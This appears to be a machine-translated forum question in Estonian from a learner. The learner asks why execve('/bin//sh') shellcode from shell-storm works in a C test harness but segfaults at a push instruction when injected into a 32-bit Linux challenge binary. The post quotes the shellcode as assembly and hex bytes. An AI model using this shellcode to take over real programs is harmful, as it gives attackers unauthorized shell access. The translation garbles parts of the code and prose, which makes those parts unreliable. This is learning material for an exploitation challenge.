Töötan praegu sissejuhatava shellkodeerimise väljakutsega ja mul on probleeme kestakoodi järjepidevaks töötamiseks.
Töötan 32-bitise Linuxi binaarkaardi kallal. Leidsin selle kestakoodi:
http://shell-storm.org/shellcode/files/shellcode-827.php
xor% eax,% eaxpush% eaxpush $ 0x68732f2fpush $ 0x6e69622fmov% esp,% ebxpush% eaxpush% ebxmov% esp,% ecxmov $ 0xb,% alint $ 0x80
Esimese sammuna jooksin kestakood lihtsas testprogrammis:
# include<stdio.h> # include<string.h>allkirjastamata kood [] = \ "\ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x2f \ x62 \ x69 "" \ x6e \ x89 \ xe3 \ x50 \ x53 \ x89 \ xe1 \ xb0 \ x0b \ xcd \ x80 "; main () {printf (" Shellkoodi pikkus:% d \ n ", strlen ( kood)); int (* ret) () = (int (*) ()) kood; ret ();}
Shellcode töötab selles testiprogrammis suurepäraselt. Probleemid algavad siis, kui liigutan shellkoodi tegelikku väljakutse binaarsesse. Võin GDB-s kinnitada, et:
- koodi käivitamine suunatakse uuesti virna.
- koorekoodikomplekt on virnas õige. ol >
Kui aga programmi käivitamine jõuab sellesse kahesse rida koorekoodis:
0xffffd0e4: push% ebx0xffffd0e5: mov% esp,% ecx
Saan:
SIGSEGV, Segmenteerimisviga
Minu küsimus on: miks testprogrammis töötav shellikood tõelises binaarses failis ebaõnnestub? Kuidas ma selle tõrkeotsinguga tegeleksin?
Aitäh!